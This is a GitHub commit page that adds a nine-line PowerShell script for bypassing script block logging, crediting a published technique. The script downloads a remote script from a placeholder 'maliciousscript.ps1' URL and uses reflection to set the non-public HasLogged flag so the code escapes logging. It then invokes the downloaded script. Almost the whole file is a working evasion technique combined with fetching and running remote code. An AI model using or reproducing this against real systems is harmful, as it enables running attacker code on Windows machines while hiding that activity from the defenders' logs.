Skip to content

Commit

Permalink
Create ScriptBlockLogbypass.ps1
Browse files Browse the repository at this point in the history
  • Loading branch information
S3cur3Th1sSh1t authored Aug 4, 2021
1 parent 886bab7 commit ca8720c
Showing 1 changed file with 9 additions and 0 deletions.
9 changes: 9 additions & 0 deletions PowershellScripts/ScriptBlockLogbypass.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# technique from https://www.bc-security.org/post/powershell-logging-obfuscation-and-some-newish-bypasses-part-1/

# This script is not logged yet because its not executed
$script = (New-Object Net.WebClient).DownloadString('https://url/maliciousscript.ps1')
# Set the HasLogged value to true, so that it's not "logged again"
[ScriptBlock].getproperty("HasLogged",@('nonpublic','instance')).setvalue($script, $true)

# Invoke it, this will not get logged
$script.invoke()

0 comments on commit ca8720c

Please sign in to comment.